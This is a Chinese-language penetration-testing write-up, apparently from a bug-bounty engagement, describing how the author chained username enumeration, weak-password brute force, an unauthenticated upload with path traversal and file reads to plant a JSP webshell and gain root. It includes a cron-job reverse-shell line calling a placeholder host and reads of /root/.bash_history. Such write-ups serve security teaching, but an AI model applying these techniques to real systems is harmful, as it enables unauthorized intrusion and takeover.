在某次众测项目中,开局只有一个登录框,本以为希望渺茫。经过一系列常规测试,最终成功获取系统权限。下面记录一下整个过程。
接口未授权挖掘
在未登录的情况下,我们无法知晓后台接口。通常的做法是分析JS文件、进行路径扫描来收集潜在端点。收集到一批URL后,使用Burp的Intruder模块进行批量扫描,探测GET和POST请求。观察响应包的状态码和内容,如果发现存在未授权访问的接口,就可以进一步构造数据包进行测试。

突破登录框
测试中常常不提供测试账号,这时就需要尝试爆破。有时会遇到验证码(重新发送登录包,有50%的可能是假验证码),但这次目标站点恰好没有验证码。

拿到这种登录框,首先要判断是否存在用户名枚举漏洞。尝试admin、admin321等常见账号,观察系统返回的提示信息差异。即使发现了admin账号,也可能存在密码错误锁定策略,这时可以转而爆破其他账号(手机号或常规账号,通常存在测试账号或有人设置弱口令)。
根据响应包长度进行判断,将密码设置为弱口令123456,使用账号字典进行爆破。最终成功获取到一个测试账号的凭证,完成了初步的安全测试突破。

后台漏洞挖掘
使用测试账号进入后台后,重点留意接口和上传/下载功能点。由于没有源代码,只能通过浏览各个功能页面,并借助Burp插件Autorize来探测哪些接口存在未授权访问。在翻找过程中,发现了一个正常的文件上传点。

构造请求上传一个txt文件,发现这个功能是先上传文件,然后可以读取其内容。

尝试删除请求中的Cookie凭证,发现依然可以成功上传,这说明该接口存在未授权访问问题。

至此,这已经是一个前台的上传漏洞了。进一步测试发现,serverFileName参数存在目录穿越,可以控制上传路径,并且读取文件的接口也存在同样的路径穿越问题。

根据接口特征判断,该网站可能是SpringBoot架构,直接上传JSP文件大概率无法解析。剩下两种拿权限的思路:一是上传SSH密钥,二是写入定时任务反弹Shell。扫描目标IP发现SSH端口未对外开放,于是尝试写入定时任务。
* * * * * bash -i >& /dev/tcp/your_ip/port 0>&1
等待了几分钟,反弹Shell没有成功。于是通过文件读取漏洞查看定时任务日志(/var/log/cron)。

发现最近的日志记录是在前一天,可能服务器时间不同步,或者定时任务服务(crond)在前一天被停止了。再次尝试写入一个简单的测试任务:
* * * * * whoami > /tmp/data.txt
之后仍然无法读取到/tmp/data.txt文件,基本确定定时任务服务没有运行,此路不通。
柳暗花明
难道真的无法GetShell了吗?我们转换思路,利用文件读取漏洞,尝试读取/root/.bash_history文件,寻找网站路径等敏感信息。

看到了webapps路径,瞬间有了希望。这很可能是一个Tomcat目录。于是直接构造上传路径,将JSPWebShell写入到webapps目录下。

使用哥斯拉连接上传的WebShell,成功执行命令,获取了root权限。

通过WebShell检查网站目录结构,发现这是一个Tomcat,里面有一个目录部署着SpringBoot应用,但网站本身并没有其他JSP文件。

这种将SpringBoot应用以WAR包形式部署在Tomcat下的方式比较少见。由于利用了未授权的上传点,最终实现了前台的远程代码执行(RCE)。这个案例也提醒我们,在安全/渗透测试中,组合利用多个看似低危的漏洞,往往能打开通往内网的大门。如果你有类似的技术思考或实战经验,欢迎在云栈社区与大家交流探讨。